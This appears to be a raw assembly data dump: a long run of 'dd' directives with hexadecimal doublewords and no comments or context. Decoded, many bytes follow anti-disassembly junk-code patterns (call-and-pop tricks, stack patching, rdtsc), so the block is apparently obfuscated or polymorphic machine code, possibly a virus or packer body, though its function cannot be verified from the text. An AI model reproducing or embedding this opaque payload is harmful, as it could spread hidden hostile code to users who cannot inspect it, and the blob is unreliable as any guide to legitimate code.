		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 81280DC3h, 0C4074EE7h, 0DA8B6650h
		dd 0EE9DA8Bh, 0F9000000h, 5C836471h, 0DDDA6918h, 0CBF7D619h
		dd 0E5BD832Dh, 3062B2Bh, 3B1850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 57E95C3h
		dd 0CEC658F2h, 1A689D1h, 2B0CD5B5h, 0B0BD8306h,	62EB5h
		dd 379840Fh, 0B5890000h, 62B0129h, 0B5B0B5FFh, 95FF062Eh
		dd 62B0175h, 8BDF8B66h,	2B10F9BDh, 0A4B58B06h, 6A062EB5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B0F3C350h, 0DBD8B13h, 0C7062B0Fh, 1000106h
		dd 0DD78100h, 505A1D3Eh, 0F37915BBh, 24348967h,	0A2C7E781h
		dd 0B5FF3789h, 62EB5B0h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 68C35646h, 11E9DCD4h,	7000000h, 15629BBCh
		dd 0BB000F24h, 10B52832h, 41065BE7h, 0AE9h, 0EB0D9C00h
		dd 0C94CA05Ch, 0FFC388C3h, 2B155595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0FBBF098Ah, 8B79D7F8h, 2B095D9Dh, 0A4B58B06h, 8B062EB5h
		dd 2B1AD985h, 6800F06h,	29000000h, 2B083185h, 0C4868906h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0D67FC352h, 512657CDh,	48189567h
		dd 0EE1958Bh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0B3C6BEC3h, 4C283ADh, 37E38166h
		dd 205089ACh, 48D0Fh, 0BB660000h, 858DCBB5h, 62ECA4Eh
		dd 0B8D8589h, 9D89062Bh, 62B0A81h, 0B88689h, 0DE90000h
		dd 33000000h, 583948F1h, 2F90A4B7h, 0E8988340h,	9D8B006Ah
		dd 62B1D45h, 0B5B0B5FFh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 33E961C3h, 0B62A7C50h
		dd 19850160h, 0F5062B11h, 4880F61h, 66000000h, 0FFB32DBBh
		dd 2B05E195h, 19BD8B06h, 89062B11h, 2B2F818Dh, 52509606h
		dd 8A0F53h, 5F000000h, 860F310Fh, 6, 820Fh, 585A0000h
		dd 13E950h, 859A0000h, 0D66222C7h, 8E99B38Ah, 0E7900C0Ah
		dd 99B6F7DBh, 0BD0396ABh, 62B0CF5h, 3039B589h, 0B5FF062Bh
		dd 62EB5B0h, 6DB58950h,	5F062B1Eh, 156995FFh, 6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 61AFC0C3h, 84FA0AA4h, 0EE8A1h, 9A900000h, 0A885B517h
		dd 0F85C6390h, 6E7069BEh, 5BD88B66h, 1D9DBD83h,	0F00062Bh
		dd 3584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 94940911h, 0F8326BF1h, 1F559D89h
		dd 5096062Bh, 8B665057h, 965B5BDEh, 0B5FFFB8Bh,	62EB5B0h
		dd 11E5BD8Bh, 95FF062Bh, 62B2E11h, 0B5B0B5FFh, 0FE8062Eh
		dd 0D4000000h, 98AC3406h, 0E40B160Bh, 0C35D777Fh, 0F3BF2F7Ch
		dd 5F2ED95Fh, 240D95FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 53F3FDC3h, 0B5EE514Fh
		dd 29BD8386h, 2062B2Eh,	60840Fh, 81660000h, 8B35F4E3h
		dd 2B2B3985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66F90F93h, 3575D381h, 0EE9h, 3252A900h
		dd 55A05B79h, 0E79DF83h, 0C6F31EF4h, 8E0F0000h,	10h, 0BE9h
		dd 0DC460700h, 22DB54BFh, 8D6829AEh, 8058589h, 85C7062Bh
		dd 62B0925h, 0
		dd 0E9F8BF0Fh, 0FFFFF444h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 27C35747h, 7B549E9h, 9D8B4F5Fh, 62B0DF5h
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F6CBEAC3h, 8D1EF8BCh, 2B2FC185h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0DADDB5FFh, 0B70FB469h, 0CE850FFh, 97000000h, 0C8CA3C89h
		dd 8E179D7Bh, 0FE9BE78h, 28Dh, 5F5B5300h, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 9EEAC351h, 50AAA83Fh, 8B006A5Bh, 60006AFBh, 4A068DB9h
		dd 4D85892Ch, 61062B06h, 9264858Dh, 6A062Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 9F08C8C3h
		dd 0F9F3E33Fh, 663BFA6Bh, 830842BBh, 0DE805C0h,	0BD000000h
		dd 0B0301CC3h, 0C79F6096h, 3B922FCh, 7D9BD8Bh, 905F062Bh
		dd 5E950h, 0A74B0000h, 900EB4C7h, 6ADEB7h, 8A0F5160h, 0
		dd 1DCF8158h, 617DF484h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0DAD2CBC3h, 3850Fh, 8B660000h
		dd 8C0FF9h, 0FF000000h,	2B34E195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 1AA202Ch, 0A6AA8D8Dh
		dd 8589062Eh, 62B0775h,	6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0EF6937C3h, 0ED5B6489h
		dd 419D01h, 6657062Bh, 3E8BF781h, 1BD835Bh, 1062B0Ah, 5E850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 7AC955C3h, 0DF81DD12h, 38B53F50h,	9589026Ah
		dd 62B26B9h, 0E850F90h,	0E9000000h, 9, 0E16E639Ah, 0D61DCB07h
		dd 0C4BB5013h, 90126D74h, 8D31D88Bh, 62B1E4Dh, 5E195FFh
		dd 0EB81062Bh, 6610FA3Ch, 0E3BE9h, 0E800h, 815D0000h, 2F926EEDh
		dd 0EB816606h, 6A4321h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0FCAE5FC3h, 993A858Dh, 6A062Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 404683C3h, 13E21F0h,	50FE8B66h, 9E956h, 0CBC90000h
		dd 90E1C10Fh, 5FB64522h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 76ADC357h
		dd 5C4D0448h, 6E95922h,	0BB000000h, 1585200Dh, 0B98589EDh
		dd 64062B02h, 35FFh, 8B660000h,	258964DFh, 0
		dd 0FFDF8B66h, 2B1E0D85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 3D958934h
		dd 6A062B1Dh, 840F50FFh, 6, 850Fh, 0FF5F0000h, 2B0165B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 93487BF5h, 795246Bh, 0AA9BD0Bh, 95FF062Bh
		dd 62B11A9h, 12CE9h, 0D88B6600h, 0F5000B0h, 684h, 699D8B00h
		dd 5B062B34h, 11E970E6h, 58000000h, 0C2BF5AD0h,	0F6110EACh
		dd 28B887AAh, 0C010981Bh, 0BD8B71E4h, 62B195Dh,	830F613Ch
		dd 0F1h, 9E9h, 0A350C000h, 0CDACD735h, 0B53159C5h, 62B1C79h
		dd 80C8B60Fh, 0BAFC10E3h, 6, 8B66C18Bh,	4E8C1DFh, 0F766FE8Bh
		dd 0EE8E2h, 0C760000h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah
		dd 3860F5Fh, 0F000000h,	0C82BDBB7h, 9E871BBBh, 1D18B47h
		dd 2B1BC985h, 0AE806h, 197C0000h, 485F2A17h, 24407AA7h
		dd 0E7DBD8Bh, 0E95B062Bh, 6, 2F0DB589h,	858B062Bh, 62B089Dh
		dd 38A0Fh, 8B660000h, 7C083DAh,	83F88B66h, 0D88B00C0h
		dd 830FD03Bh, 0Dh, 2639BD0Bh, 4AE9062Bh, 0B3000000h, 0F18D8B71h
		dd 0E9062B1Bh, 11h, 0AC2EBC8Ch,	72CF803Ah, 36AF3F7Bh, 0DAAED532h
		dd 1E183DCh, 23840Fh, 82BB0000h, 836E589Ch, 2B1BF1A5h
		dd 6651FE06h, 5B4AC2BFh, 89D9589h, 9D8B062Bh, 62B1911h
		dd 0E9h, 7BB58D00h, 6A062EFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 1980C357h, 68A80D53h
		dd 0FF4BA02h, 680h, 7DBD2900h, 89062B19h, 2B342185h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D11FC353h, 6BFD3188h, 0BE9h, 0AB380200h
		dd 2BA43070h, 38018E9Eh, 294595FFh, 9D89062Bh, 62B0931h
		dd 920B9h, 358D2900h, 83062B2Ch, 6AFCE1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0FFCD1C3h
		dd 0C02BF8B7h, 66DB8166h, 80D22BF4h, 33AD3BF7h,	3E8D1C2h
		dd 4E983D0h, 6660F475h,	6A61FB8Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B7D3C353h
		dd 880DB9h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F63F5C3h, 0C8Dh, 6810F00h, 1000000h
		dd 2B15A58Dh, 0DB815106h, 5BEE525Eh, 0E1958B5Bh, 0F062B0Eh
		dd 8D8BFFB7h, 62B21E1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E4C35040h, 40B92185h, 89C1532Dh, 2B2BE1B5h
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh
		dd 6E9h, 936FEA00h, 23B4CB20h, 2B349585h, 8D296106h, 62B1AC1h
		dd 0BD83FD8Ah, 62B05A9h, 74840F00h, 1000000h, 2B0501BDh
		dd 0F0BF6606h, 0B8FAh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 7624F6C3h, 62DACCB1h
		dd 0A18D8DDEh, 0F062B4Eh, 38Dh,	0D9BF0F00h, 6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0E10279C3h, 9DB58993h, 0F062B1Bh, 682h, 31B53100h, 83062B33h
		dd 2B2BE5BDh, 840F0006h, 4D4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 5AC35747h, 0BD8313C3h, 62B2BE5h
		dd 0C4840F01h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0A4BCC352h,	2B081407h
		dd 0EB816652h, 0BD835E40h, 62B2BE5h, 5A860F03h,	8B000004h
		dd 2B01FDBDh, 95016006h, 62B24E5h, 10DDBD29h, 8C66062Bh
		dd 158D29D9h, 80062B27h, 0B58904E1h, 62B159Dh, 0D403E781h
		dd 0C90A091Eh, 162840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0CCAFB5C3h, 0DE9F8h
		dd 9CCA0000h, 0B4727EF8h, 0CB5FE38Bh, 8BC1BC55h, 2B1EB585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8166600Ch, 0B5010FD8h, 85336149h, 62B258Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E3C35545h
		dd 8E0F4F0Ah, 2, 6090FAB3h, 12E8h, 0FCF5C400h, 6DF6DA48h
		dd 0DC73E612h, 0A0C7A35Ah, 0BF565A01h, 175A9CB4h, 61D88B59h
		dd 8D0F5750h, 3, 5BDE8B66h, 0CD9D8B90h,	6A062B2Fh, 0EE900h
		dd 699B0000h, 0AA0098EBh, 0E5ABABE1h, 1E9A51E3h, 4E8h
		dd 1F03FF00h, 0F536000h, 86h, 0F78B5800h, 0F98B5061h, 424448Bh
		dd 4489008Bh, 6A580424h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FF66C352h,	2B091D95h
		dd 0E6BF6606h, 6880F68h, 89000000h, 2B2D7995h, 0B0858906h
		dd 8B062EB5h, 2B2001BDh, 7D9D8906h, 0E9062B0Eh,	246h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DDC35747h, 0A3C5EFD5h
		dd 0A36620D8h, 0B5A8858Bh, 6A062Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F643CC3h
		dd 1283h, 0DE900h, 0B3B80000h, 1A64C247h, 9BFF4184h, 0C7C7BA47h
		dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B5894C66h, 62B2FDDh, 0B5ACB58Bh
		dd 0BD89062Eh, 62B2C71h, 16C5858Bh, 6A062Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD89FFC3h
		dd 62B35B1h, 858B0689h,	62B1EB5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 66C35343h, 10E85722h, 0E5000000h
		dd 0FE6AAF83h, 8CF035C2h, 2B74CA20h, 66BB048Eh,	5BC1DDBBh
		dd 0BF66605Bh, 0B58B274Bh, 62B2F71h, 4468961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BBC35646h, 0A5766037h
		dd 0F605078h, 58Bh, 0BCDBF00h, 72B073ECh, 24348961h, 3840Fh
		dd 0BF0F0000h, 0A8B5FFDBh, 6A062EB5h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 957C351h
		dd 0E68593A2h, 8B8E15ECh, 2B0BF9BDh, 0CCFE6806h, 8B667D7Eh
		dd 243481FBh, 7D61CF01h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 5C35242h, 697E11C6h, 83A7C730h, 7E8h
		dd 692D6600h, 7F057DC5h, 858DF85Bh, 62EB5B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F2C35646h, 0BBB77528h
		dd 0B57315ABh, 810F69h,	90000000h, 66525060h, 0F82FFBEh
		dd 5E831h, 8A670000h, 5E799AEAh, 5250585Ah, 880Fh, 310F0000h
		dd 310F5250h, 585A585Ah, 52505061h, 48C0Fh, 0BF660000h
		dd 310F2822h, 585A2AB7h, 35958990h, 0FF062B2Eh,	2B091D95h
		dd 0CE906h, 0F54F0000h,	1DB01D15h, 0EA313FFDh, 6A61C6DFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4A89C356h, 2BF5BD8Bh, 85C7062Bh, 62B2BE5h
		dd 3, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 0D2C35040h, 0E812C53Ch
		dd 8, 250583DBh, 75C2BE03h, 891CC381h, 835B46FAh, 2EB5B0BDh
		dd 840F0006h, 35h, 0F9E78166h, 699D8B11h, 0E9062B2Ah, 40h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h
		dd 0FD0BF54Dh, 0CA4AECCDh, 0C305016h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0FDC35646h, 0C7382E90h, 10E8h, 0EDD84600h
		dd 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 858B6060h, 62B3319h
		dd 1A25B966h, 0EE85F61h, 0D9000000h, 9D659CEDh,	77ACC51h
		dd 0AA0AF49Ah, 66D381A3h, 5B25E1B5h, 2BE5BD83h,	0F03062Bh
		dd 42E85h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 299D3183h, 83062B12h, 2EB5B0BDh
		dd 840F0006h, 3FFh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0DBC35747h, 877E075Eh, 0E5821F0Ch, 1F5D9D8Bh
		dd 0B5FF062Bh, 62EB5B0h, 17D58589h, 0DCB7062Bh,	17595FFh
		dd 0B589062Bh, 62B15FDh, 0B5A4B58Bh, 6A062Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 2D285AC3h
		dd 17BF66EBh, 106C7D3h,	6A000100h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6DD5C353h
		dd 96DEB70Fh, 0DE8B6657h, 81BF505Bh, 96615071h,	0B5B0B5FFh
		dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0EED8B1C3h, 0EAE3A87Eh, 6652CA39h, 9DFFE381h
		dd 5595FF5Bh, 6A062B15h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 4305C352h, 8BF55837h
		dd 2EB5A4B5h, 119D8906h, 8B062B17h, 0D9858BDFh,	1062B1Ah
		dd 2B2F8DBDh, 0C4868906h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3CC9C351h
		dd 0A03518Ah, 0F0ECB36Fh, 2B85BD09h, 958B062Bh,	62B0EE1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BC35141h
		dd 8791BF3Fh, 5BCFDF69h, 79BD2B2Eh, 8B062B06h, 2B2A69BDh
		dd 4C28306h, 2E4DB531h,	800F062Bh, 3, 89FA8B66h, 0D3802050h
		dd 4E858D08h, 6A062ECAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0F5C357h, 76976E21h
		dd 89CA97D2h, 2B2CE58Dh, 1820F06h, 0FC000000h, 0B88689h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 43D388C3h, 6A528BE5h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A05AC353h
		dd 6890Fh, 85890000h, 62B185Dh,	0B5B0B5FFh, 0BD03062Eh
		dd 62B29DDh, 5E195FFh, 9589062Bh, 62B0ACDh, 0D88B6653h
		dd 0BB66505Bh, 3489C04Ch, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 396EAB5Eh
		dd 4991916h, 0B5B0B5FFh, 6A062Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0AF9117C3h, 1B159529h
		dd 95FF062Bh, 62B1569h,	7ED38166h, 9DBD8322h, 62B1Dh, 54840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 9C869EC3h, 0E4CAB0D4h, 60A4AB5Ch,	1521858Bh
		dd 5061062Bh, 0CE8h, 0B973D900h, 170D90D2h, 0AA98E5FEh
		dd 0AEBF60A9h, 667CBB50h, 61DB43BAh, 2434895Bh,	80D9D89h
		dd 0B5FF062Bh, 62EB5B0h, 5E9h, 91AF7000h, 95FFA8D7h, 62B2E11h
		dd 35B9BD0Bh, 0BF66062Bh, 0B5FF38EEh, 62EB5B0h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 83C35242h, 8B66DCA4h
		dd 11E8FEh, 0AA870000h,	0C78002FEh, 0C57F02F7h,	60CB0C33h
		dd 33E6CABAh, 2B2F59BDh, 95FF5F06h, 62B240Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 21C35545h, 76A1E0Dh
		dd 54577B0Ah, 29BD83F3h, 2062B2Eh, 42840Fh, 810F0000h
		dd 2, 8B50FE8Bh, 2B2661BDh, 858B5B06h, 62B2B39h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9DC35040h, 0B9952993h
		dd 0C6062B35h, 9D8B0000h, 62B2895h, 92585C7h, 62Bh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E9E4F7C3h, 0FFFFF2CFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D0C35141h, 80A04096h, 0F1B83635h, 6A0753BFh
		dd 0F9C18B41h, 2FC1858Dh, 0BF0F062Bh, 5090F5FEh, 90D98B66h
		dd 0A4790BBBh, 66006A60h, 0BA46DF81h, 1DB589h, 6A062Bh
		dd 8DDABF0Fh, 2FA1EB85h, 219D8906h, 83062B05h, 6A05C0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0AEF8ECC3h, 50DC8A47h, 310F5250h, 17D7BBFh, 89585A72h
		dd 9D8B2404h, 62B2E6Dh,	0A68CBF66h, 8956006Ah, 2B118D95h
		dd 6A5B06h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	26C35242h, 0BD8BE1F6h, 62B0C0Dh, 34E195FFh, 6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 7342D2C3h, 6FEF9FF8h, 8B1B18CEh, 2B1ADD9Dh, 7E906h
		dd 0E5120000h, 0B76F8EA4h, 0AA8D8DB5h, 81062EA6h, 8575DEEFh
		dd 81BD097Fh, 0FF062B0Ah, 835F57D1h, 2B0A01BDh,	850F0106h
		dd 47h,	11A5BD0Bh, 26A062Bh, 5E9h, 648A0100h, 0B390D122h
		dd 8B9050D4h, 0E195FFDAh, 6A062B05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C9A3C356h
		dd 3FCB1988h, 3185897Fh, 0E9062B26h, 0E5Fh, 0E8h, 0ED815D00h
		dd 62FA1F5h, 8BFBBF0Fh,	2B2FDD9Dh, 3A858D06h, 29062E99h
		dd 2B170195h, 6870F06h,	8B000000h, 2B2979BDh, 0BF665006h
		dd 4894AACh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 1EB3CD8Ch, 35FF64h, 0FC000000h, 0DE8h
		dd 6DE0AB00h, 7BAEE44Ch, 93204B0Bh, 5BF8CC03h, 258964h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2739C357h, 0FB18589h, 85FF062Bh
		dd 62B1E0Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	78C35343h, 0FCF380EBh, 6AFF6Ah,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C03F46C3h
		dd 92B06C45h, 0DB80363Ah, 0FDB5FF2Ah, 8B062B0Dh, 3D9D23DFh
		dd 0FF062B2Dh, 2B11A995h, 11CE906h, 0F520000h, 58Bh, 0AB4BB00h
		dd 2B5B7CB4h, 2B1AB19Dh, 0F00B006h, 681h, 65BD8B00h, 0E6062B1Bh
		dd 8B516070h, 2B299185h
		dd 0CE8A5E06h, 5171E461h, 5BFABF0Fh, 830F613Ch,	0DEh, 325DBD8Bh
		dd 0B60F062Bh, 0E99D8BC8h, 0F062B0Bh, 8Bh, 6BA00h, 0C18B0000h
		dd 6E9h, 6A37F500h, 0C1CC7356h,	850F04E8h, 6, 1619529h
		dd 0F766062Bh, 0F88B56E2h, 81C82B5Bh, 0FD322FCFh, 81D18B12h
		dd 0C15E76EBh, 0AE900h,	0B5890000h, 62B216Dh, 0D599BB66h
		dd 1F4D858Bh, 0BD8B062Bh, 62B0081h, 8907C083h, 2B15AD9Dh
		dd 0C08306h, 0E192DCBFh, 0FD03B69h, 1683h, 0B5896000h
		dd 62B0B51h, 1251B589h,	0E961062Bh, 4Ah, 8BF8B70Fh, 2B17C98Dh
		dd 88F0F06h, 52000000h,	1AE18529h, 0BF5B062Bh, 32598202h
		dd 0F01E183h, 2584h, 2DBD0300h,	83062B1Ch, 2B17C9A5h, 2BF5FE06h
		dd 2B055DBDh, 4D958906h, 8B062B1Fh, 2B0A319Dh, 0E906h
		dd 0B58D0000h, 62F0A13h, 1C799D23h, 9589062Bh, 62B2D09h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BB66FAC3h, 95FFB345h, 62B2945h, 1BD99D8Bh
		dd 54B9062Bh, 29000008h, 2B1C5DBDh, 0FCE18306h,	6AFCF9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 897C52C3h, 2B0D799Dh, 0E9958906h, 2B062B0Bh,	53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 81D6963Eh, 0A4B4A4E7h, 6E964h, 0D4040000h, 95FDA398h
		dd 0B70FD22Bh, 0C233ADFBh, 0D003E8D1h, 7504E983h, 52006AF4h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 87CEE46Ch, 40B67C5Ch, 31609580h, 2B2659BDh, 95316106h
		dd 62B06E1h, 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 96711B1Fh, 2B01B589h
		dd 0B501062Bh, 62B296Dh, 0EE1958Bh, 0BD09062Bh,	62B0999h
		dd 21E18D8Bh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 819E9EC3h, 697043D3h, 0FE809h, 0D3380000h
		dd 9D5369F3h, 6FF92FBFh, 88826828h, 0C7816688h,	505F40F2h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0A3E1326Ah, 890Fh, 0BD8B0000h, 62B1961h, 5A9BD83h, 0F00062Bh
		dd 9884h, 890F6000h, 6,	1F25B589h, 14E9062Bh, 0F1000000h
		dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 61368563h
		dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0F38166CDh, 6656A504h, 5F02E8BBh
		dd 4EA18D8Dh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 643805C3h, 0AB022BD8h, 12E98C52h
		dd 1B000000h, 6E69247Fh, 4736AA0Fh, 59A5112Fh, 0E5202D67h
		dd 0B3E1FF8Ah, 0E5BD8358h, 62B2Bh, 52A840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 1D6024C3h, 0BD831FB7h, 62B2BE5h, 18840F01h, 0E8000005h
		dd 7, 0D81CABB4h, 3FC8E73h, 2B356DBDh, 8DBB5B06h, 833C73C5h
		dd 2B2BE5BDh, 860F0306h, 4BDh, 35619D8Bh, 0BD8B062Bh, 62B027Dh
		dd 0D9BF0F60h, 8BD98C66h, 2B2A859Dh, 4E18006h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D7C35646h, 9C28637Ch
		dd 0BE151CD6h, 0FC90AFCh, 14684h, 13E800h, 0B2E90000h
		dd 1525EACh, 77271214h,	2B8E2895h, 1F686A8h, 18B0FD0h
		dd 0F5000000h, 0B5858B5Fh, 8B062B1Eh, 2B1AAD9Dh, 8D853306h
		dd 0F062B25h, 281h, 502CB700h, 489D88Bh, 0CF816624h, 6A8B51h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h
		dd 0E84B8A1Eh, 4, 1F03FFh, 0A947BF50h, 448B0147h, 5B510424h
		dd 0E860008Bh, 13h, 0B61C09A9h,	1E11E6A0h, 68857546h, 0EDA83839h
		dd 8A687135h, 0D98A59C8h, 24448961h, 0DE804h, 6C260000h
		dd 94039B8Bh, 0FB5A44D6h, 66393F35h, 585BFB8Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 2EC35141h, 0F5C1BB13h
